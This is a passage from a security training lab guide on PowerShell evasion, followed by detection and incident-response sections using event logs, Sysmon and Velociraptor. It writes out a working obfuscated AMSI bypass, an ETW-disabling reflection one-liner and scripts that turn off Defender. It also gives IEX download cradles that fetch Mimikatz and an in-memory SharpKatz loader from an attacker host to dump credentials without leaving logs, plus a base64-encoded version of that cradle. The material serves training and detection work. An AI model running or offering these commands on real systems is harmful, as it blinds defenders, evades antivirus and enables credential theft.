• [Reflection.Assembly]::LoadWithPartialName('System.Core'):
  • Loads the System.Core.dll assembly, containing core .NET classes, including System.Diagnostics.Eventing.EventProvider.
• .GetType('System.Diagnostics.Eventing.EventProvider'):
  • Retrieves the System.Diagnostics.Eventing.EventProvider type, responsible for emitting ETW events.
• .GetField('m_enabled','NonPublic,Instance'):
  • Retrieves the m_enabled field of the EventProvider class, a non-public instance field that determines whether ETW events are enabled.
• .SetValue(...):
  • Sets the value of the m_enabled field.
• [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider'):
  • Retrieves the System.Management.Automation.Tracing.PSEtwLogProvider type, a Powershell-specific wrapper around the .NET ETW functionality.
• .GetField('etwProvider','NonPublic,Static').GetValue($null):
  • Retrieves the etwProvider field of the PSEtwLogProvider class, a non-public static field holding a reference to the EventProvider instance used by Powershell.
• ,0:
  • Sets the m_enabled field to 0 (false), disabling ETW events for the Powershell EventProvider.

We can split this command into multiple lines for better readability:

Below is a diagram that illustrates how this ETW bypass works:

• Powershell uses the .NET EventProvider class to generate ETW events.
• The PSEtwLogProvider class in Powershell acts as a bridge, holding the specific EventProvider instance used for Powershell logging.
• The m_enabled field within the EventProvider class controls whether events are actually emitted.
• By using reflection, the code directly accesses and modifies this internal m_enabled field, setting it to 0.
• This prevents the Powershell EventProvider from generating ETW events, effectively bypassing ETW logging for that Powershell process.

Let's demonstrate running the obfuscated AMSI bypass first, then the ETW bypass:

• On your Windows machine, open a new PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:

cd C:\THEV\Labs\amsi
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

• On your Windows machine, from the same PowerShell prompt (with Administrator privileges) run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:

[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

• Open ELEX and check the powershell logs - you should see the AMSI bypass in there.

• Now run the unobfuscated ETW bypass in the same powershell terminal:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

• Go back toELEX and check the powershell logs - you won't see any new events.

• After the ETW patch let's use a simple write-host command to see if it works, and check eventviewer for logs:

write-host "This should not show up in your powershell logs, as ETW is patched!!!"

• Go back toELEX and check the powershell logs - you won't see any new events.

Now let's run Mimikatz from memory with IEX (Invoke Expression) again, if all goes well, AMSI and ETW should be patched and the script will run without any logs being generated:

• On your Windows machine, from the same PowerShell prompt (with the applied ETW and AMSI patches) with Administrator privileges:

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Success we bypassed both AMSI and ETW! And succesfully ran Mimikatz from memory, dumping credentials, without any logs being generated!

• Go back toELEX and check the powershell logs - you won't see any new events.

Check Defender Log with powershell:

Verify Defender for most recent alerts

Get-WinEvent -FilterHashtable @{ LogName = "Microsoft-Windows-Windows Defender/Operational"; Id = 1116 } -MaxEvents 1

1.4 KEY POINTS

• This ETW bypass method relies on internal .NET implementation details and might break if those details change in future .NET or Powershell versions.
• It only affects the current Powershell process - so it's not a system wide change.
• It is very effective at disabling the ETW logging from within Powershell.
• This is a user-mode technique - it doesn't require kernel-mode access or drivers.
• This technique is commonly used by malicious actors.
• EDR solutions monitor for this type of activity.

We can can now continue to the next lab where we'll writer our own powershell loader which applies both the AMSI and ETW bypasses before loading any payloads.

CLEANUP

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1. LAB - POWERSHELL LOADER

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be showing how Powershell can load assemblies (compiled .net binaries) in memory and execute them, we'll also demonstrate how AMSI catches this, how we bypass this and how we make this attack completely fileless (memory only).

IMPORTANT: For this lab we will TURN OFF Windows Defender. We first need to make sure our POC Powershell loader works, then we will deal with bypassing Defender later on in this lab.

1.1 DISABLE WINDOWS DEFENDER

• Check if Defender is turned ON by running the checkav.ps1 script:

• On your Windows machine, open a Powershell prompt with Administrator privileges:

c:\thev\labs\powershell\av_check.ps1

• If Defender is turned on - run the following script to turn it OFF:

c:\thev\labs\powershell\av_disable.ps1

1.2 SHARPKATZ DOWNLOAD AND COMPILE

• On your Windows machine, open a Powershell prompt with Administrator privileges:

cd \THEV
git clone https://github.com/crimsoncore/SharpKatz

• Open the SharpKatz.sln solution located in C:\THEV\SharpKatz\SharpKatz.sln with Visual Studio 2019 and build the project:

Makes sure to set the build configuration to Release and the platform to x64 before building the solution.

• On your Windows machine, open a Powershell prompt with Administrator privileges and copy the sharpkatz.exe file to C:\THEV\LABS\PSLoader:

cp C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe C:\THEV\LABS\PSLoader\SharpKatz.exe

• On your kali machine go to "/opt/Havoc" and create the "assemblies directory"

cd /opt/Havoc
mkdir assemblies

And let's also upload it to our kali machine:

• From a Powershell prompt with Administrator privileges type (enter the password when pompted`):

scp C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe Threatadmin@kali:/opt/Havoc/assemblies/SharpKatz.exe

NOTE: You can also do with with Updog2, but don't forget to start updog2 in the "/opt/Havoc/assemblies" directory first!

NOTE: We're uploading SharpKatz to our kali machine so we can host it with a webserver later on, in order to download it with our Powershell loader script. Pay attention, we're uploading it to "/opt/Havoc/assemblies/" - not to the payloads directory, this is because of no good reason at all :).

1.3 BASE64 ENCODE SHARPKATZ.EXE

• On your Windows machine, open a Powershell prompt with Administrator privileges and run the base64 encode Powershell script:

cd \THEV\Labs\PSLoader 
.\b64encoder.ps1 C:\THEV\LABS\PSLoader\SharpKatz.exe

If you open that b64 file, you should see the Base64 encoded file (SharpKatz.b64) contents of the SharpKatz.exe binary.

Let's also upload our Base64 encoded SharpKatz binary to our kali machine (also shown in the screenshot above):

• On your Windows machine, use the current Powershell prompt with Administrator privileges and type:

scp C:\THEV\LABS\PSLoader\SharpKatz.b64 Threatadmin@kali:/opt/Havoc/assemblies/SharpKatz.b64

NOTE: You can also do with with Updog2, but don't forget to start updog2 in the "/opt/Havoc/assemblies" directory first!

1.4 REMOTE POWERSHELL IN-MEMORY LOADER FOR .NET ASSEMBLIES (I.E. SHARPKATZ)

In this section we'll create a Powershell script that will download the Base64 encoded SharpKatz binary from our kali server, decode it and execute it in memory without touching disk.

ADVANTAGES of .net binaries -> can be loaded and executed completely in-memory (fileless)

• On our Kali machine we need to setup up a webserver to host our payload (Base64 encoded SharpKatz binary):

cd /opt/Havoc/assemblies
updog2

• The following is a simple Powershell script that will fetch the Base64 encoded payload, it will perform a Base64 decoding and execute the binary in memory without touching disk.

From an abstract level this is what we're going to do:

So let's go through the script step by step:

• We define the URL of our Base64 encoded SharpKatz binary hosted on our kali server,

• We use Invoke-WebRequest to download the Base64 encoded string from our kali server and store it in a variable ($base64Assembly),

• We use [System.Convert]::FromBase64String to decode the Base64 string into a byte array,

• We use [Reflection.Assembly]::Load to load the byte array as a .NET assembly in memory (this will trigger an AMSI scan!, but since we turned off Defender earlier, it will load successfully),

• And finally we can execute the Main method of the SharpKatz assembly (we have the source code, so we can simply find those in the code - or use tools likes dnSpy).

  • 1. We need to call the right namespace SharpKatz,
  • 2. and class name, in this case Program
  • 3. We need to call the Main method, which also accepts arguments (i.e. logonpasswords, etc)

Below you can see the source code of SharpKatz where we can find the namespace, class and method names:

• We'll upload the PSLoaderB64remoteSharpKatz.ps1 to our kali server:

• On your Windows machine, from a Powershell prompt with Administrator privileges:

scp C:\THEV\LABS\PSLoader\PSLoaderB64remoteSharpKatz.ps1 Threatadmin@kali:/opt/Havoc/assemblies/PSLoaderB64remoteSharpKatz.ps1

• Make sure your PSLoaderB64remoteSharpKatz.ps1 and Sharpkatz.b64 are successfully copied to the kali machine:

• On your kali open a terminal and type:

cd /opt/Havoc/assemblies
ls *SharpKatz*

1.5 IEX (INVOKE-EXPRESSION)

IEX is the alias for the Powershell cmdlet Invoke-Expression. It takes a string containing Powershell code and executes it as if it were typed directly into the Powershell session. Basically IEX allows dynamic execution of remote code (in memory), without our Powershell script ever touching disk.

Let's execute our PSLoader script without touching disk - completely in memory. We use IEX (Invoke-Expression) for this.

NOTE: Make sure you have cleared the PowerShell Operational event log before running this, so we can see only the events generated by our script.

• On your Windows machine, from a Powershell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"
cd \THEV\Labs\PSLoader 
IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")

With Invoke-Expression (IEX) we download the Powershell script from our kali server and execute it in memory. When the script executes, it downloads the Base64 encoded SharpKatz binary, decodes it and executes it in memory. When the script finishes executing, there is no trace of it on disk, everything happened in memory.

On your Kali machine you should see the the ps1 being fetched and then the b64 file being fetched:

1.6 BASE64 ENCODING (OBFUSCATION)

A very common technique to obfuscate Powershell commands is to use Base64 encoding. This makes it harder for security tools and analysts to quickly read and understand the command, as it is not in plain text. we're going to Base64 encode our Powershell command that uses IEX to download and execute our PSLoaderB64remoteSharpKatz.ps1 script.

• On your Windows machine, from the same Powershell prompt with Administrator privileges:

$command = 'IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")'

• And then Base64 encode it:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))

This will output the Base64 encoded version of our Powershell command:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkAOgA5ADAAOQAwAC8AUABTAEwAbwBhAGQAZQByAEIANgA0AHIAZQBtAG8AdABlAFMAaABhAHIAcABLAGEAdAB6AC4AcABzADEAIgApAA==

FORENSIC TIP: Cyberchef https://gchq.github.io/CyberChef/, is a great tool to decode Base64 encoded strings and analyze obfuscated commands (and all kinds of other obfuscation techniques).

Now we'll run this Base64 encoded command using Powershell -enc (encoded command):

• On your Windows machine, from the same Powershell prompt with Administrator privileges:

powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkAOgA5ADAAOQAwAC8AUABTAEwAbwBhAGQAZQByAEIANgA0AHIAZQBtAG8AdABlAFMAaABhAHIAcABLAGEAdAB6AC4AcABzADEAIgApAA==

You will see the same output as before, but now the command is obfuscated using Base64 encoding.

And on Kali we see the second request for the .ps1 script and b64 file - just like before but now we're using the Base64 encoded version of the command:

COMMONLY USED POWERSHELL PARAMETERS

1.7 DETECTION TESTING

So our POC Powershell script works, but let's see if Windows Defender detects this.

• Check if Defender is turned OFF (It should be as we turned it off at the beginning of this lab) by running the checkav.ps1 script on your Windows machine by opening a Powershell prompt with Administrator privileges:

C:\thev\labs\powershell\av_check.ps1

• The output should be like this:

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

• On your Windows machine, from a Powershell prompt with Administrator privileges:

C:\thev\labs\powershell\av_enable.ps1

• The output should be like this :

Now run your Powershell loader again and see if Defender catches this:

• On your Windows machine, open a new Powershell prompt with Administrator privileges:

IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")

Defender will catch this and block the execution, we can check this by running the following command:

• Use powershell to check the last detection:

Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1

Below is a brief overview of the DetectionSourceTypeID values:

• Check the eventlogs using Powershell:

Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | 
    Where-Object { $_.TimeCreated -ge (Get-Date).AddMinutes(-30) -and $_.Id -in (1116, 1117) } | 
    Sort-Object TimeCreated -Descending | 
    Select-Object -First 1 | 
    Select-Object Message | 
    Format-List

• Or use Eventviewer/EventLogExplorer:

NOTE: Windows Defender detects and blocks this but doesn't generate a user notification!

1.8 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

On your Windows machine:

• Close all command prompts, and PowerShell windows.

Detections & IOCS's suspicious powershell activity

Here's a list of detections and IOC's that can be used to identify the activity from the PSLoader lab with SharpKatz.

1. Powershell Logs (EventID 4104)

By having a look in the prowershell event logs, we can see the powershell commands that were executed. If you have enabled logging of module loads, you can also see the loaded assemblies (like SharpKatz).

1.1 SUSPICIOUS POWERSHELL PARAMETERS TO LOOK FOR

1.2 Decoded Base64 commands in powershell event logs, (requires GPO to be enabled):

• On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_PSLoader.ELX"

• Navigate to the folder "c:\THEV\Labs\PSLoader\" and open the workspace called "WORKSPACE_PSLoader.ELX"

This workspace has been pre-configured (Custom filter, color coding and columns) for you with the relevant event logs and filters. We have some color-coding going on here:

The color coding already gives away some hints, but if you have tons of powershell events, you can use the filter to only show events with -enc or iex in them.

• Click on the filter icon in the toolbar to open the filter window (it's already pre-poluated with event ID 4104).

• You can load custom filters by clicking on Load at the bottom, navigate to "c:\THEV\Labs\PSLoader\" and select the file called FILTER_pwsh_IEX.elc

We have also configured some custom columns for you, so you can see the commandline used.

• Simply right-click on the column header and select Choose columns... to add or remove columns.

You should see the following, all powershell events that have IEX in them:

1.3 Encoded Base64 commands in powershell event logs.

Attackers often use Base64 encoding to obfuscate their commands, making it harder for defenders to quickly identify malicious activity. By filtering for -enc in the powershell event logs, we can find these encoded commands.

• Go back to your filter and change the Text in description to -enc:

1.4 Complete content of the script block:

When attackers use IEX to download and execute scripts, the complete content of the script block is often logged in the powershell event logs. This can include the actual script being executed, as well as any loaded assemblies (like SharpKatz).

• Go back to your filter and change the Text in description to SharpKatz:

You will see the complete content of the script block, which includes the loaded assembly (SharpKatz).

2 . Powershell Hunter

PowerShell-Hunter is a growing collection of PowerShell-based threat hunting tools designed to help defenders investigate and detect malicious activity in Windows environments. This project aims to provide security analysts with powerful, flexible tools that leverage PowerShell's native capabilities for threat hunting.

https://github.com/MHaggis/PowerShell-Hunter

Open a PowerShell terminal as administrator and navigate to the folder "c:\THEV\Labs\PSLoader\" and run the following command, it will analyze the powershell event logs and filter them based on the patterns in the Patterns.csv file.:

cd c:\THEV\Labs\PSLoader\
 .\Analyze-PowerShellEvents.ps1 -PatternFile "Patterns.csv" -OutputFile "FilteredEvents.csv"

You can choose the output format, either CSV or JSON. In this case, we are using CSV. If you open this with Excel or Visual Studio Code, you will see the filtered events based on the patterns in the Patterns.csv file.

NOTE: Install CSV plugin in Visual Studio Code to view CSV files.

• In visual studio code go to extensions and search for "CSV" and install the one by "ReprEng"

When you open the CSV file in Visual Studio Code, it will look like this:

3. SYSMON EVENTID 3 - NETWORK CONNECTIONS

Powershell.exe making network connections to the internet is suspicious in itself, but especially when it downloads and executes scripts. We can detect this with with sysmon (or your EDR of choice), by monitoring network connections from powershell.exe.

NOTE: This detection is already added to your sysmon config file.

• On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_Sysmon3.ELX" located in the folder "c:\THEV\Labs\PSLoader\"

You can see the filter is already pre-configured for you to look for powershell.exe and event ID 3 (network connections). We also configured some custom columns for you, so you can see the User, Source host name, Destination host name, and Destination port.

And the output will look like this:

NOTE: Since we are tagging our sysmon rules with names, you can also filter on the RuleName column for Powershell Network Connections to find the relevant events.

4. SYSMON EVENTID 1 - PROCESS CREATION

When attackers use powershell to download and execute scripts, they often use specific parameters to obfuscate their activity. We can detect this with sysmon (or your EDR of choice), by monitoring process creation events for powershell.exe with specific command line parameters.

NOTE: This detection is already added to your sysmon config file.

• On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_Sysmon1.ELX" located in the folder "c:\THEV\Labs\PSLoader\"

You can see the filter is already pre-configured for you to look for powershell.exe with the parameters powershell.exe" -enc in the command line. Always check how the events are formatted - you can see sysmon logs the full path to powershell.exe between "" and then the parameters.

And the output will look like this:

INCIDENT REPONSE

When incident response teams investigate a potential compromise involving PowerShell-based attacks, they often look for specific Indicators of Compromise (IOCs) and artifacts that can help identify malicious activity. More often than not incident responders will not have physical access to the compromised machine, so they will have to rely on logs and artifacts that are collected remotely.

Let's use Velociraptor to hunt for the above IOC's and artifacts (-enc,-nop,-nonI,-w hidden, iex, http, WebClient) in powershell logs.

• On your Windows machine, open Velociraptor in your chrome browser by opening the URL: https://kali:8889/app/index.html#/dashboard/:
• Navigate to the Hunt Manager in the left side menu (icon with the crosshair) Click on + in the top left corner

• Click on Select Artifacts on the bottom of the screen, typoe powershell in the search box at the top and select the artifact called Windows.EventLogs.PowershellScriptBlock.

• Click on Next: Configure Parameters on the bottom right of the screen.
• Set the SearchStrings to "http|webclient|enc|iex"
• set the LogLevel to All - Don't forget this!
• Click on Launch on the bottom right of the screen.

You will see a new hunt in paused state.

• click on the play button to start the hunt.

Wait until the hunt is finished, then click on the notebook tab to see the results. This will hunt through the powershell event logs for the above IOC's, instead of downloading the entire event log, which would take more time and bandwidth.

• Click on the Download button to download the results in CSV format.

The query results will be saved to your Downloads folder.

• Open Visual Studio Code and open the downloaded CSV "Query1.csv" file, located in your Downloads folder. don't just double-click the file, for some reason the csv extension doesn't load that way.

When you open the CSV file in Visual Studio Code, it will look like this:

This was a simple example of how to use Velociraptor to hunt for IOC's and artifacts in powershell logs. You can use the same approach to hunt for other IOC's and artifacts in other logs as well.

Static Analysis

TL;DR In this chapter we'll have a look at basic signature based AV evasion techniques. We'll use strings.exe and yara to explain the basic principles of pattern matching and modify existing malicious tools to bypass signature based detections. We'll also use a few other tools that do static analysis such as HxD, PEStudio and GoCheck... For .NET binaries DNSpy and DotPeek are very useful.

Static Analysis vs. Dynamic Analysis Performing static analysis first is typically a better approach as it will allow us to ask better questions when we actually go and execute the code in a sandbox or virtual environment Dynamic Analysis.

1. PE Format Analysis

1.1 PE Format (Unmanaged code i.e. C, C++, etc)

1.2 PE Format (.NET code and where it's different)

• OFFSET : location of the byte value in a program

1.3 Hex Editor Analysis (HxD)

• MZ Header: DOS header signature indicating a valid PE file
• "This program cannot run in DOS mode": Standard DOS stub message
• Null bytes (0x00): Padding and alignment in the binary structure
• .text Section: Contains the actual executable code
• .rsrc Section: Holds information on the .NET Assembly Information, manifest (needed for the CLR to load the assembly), and icons
• ImageBase: Virtual memory address where the image gets loaded
• AddressOfEntryPoint: Relative virtual address (RVA) of the entry point function
• ImageBase + AddressOfEntryPoint: Absolute virtual address of the program's entry point in memory (used by debuggers like IDA/x64dbg)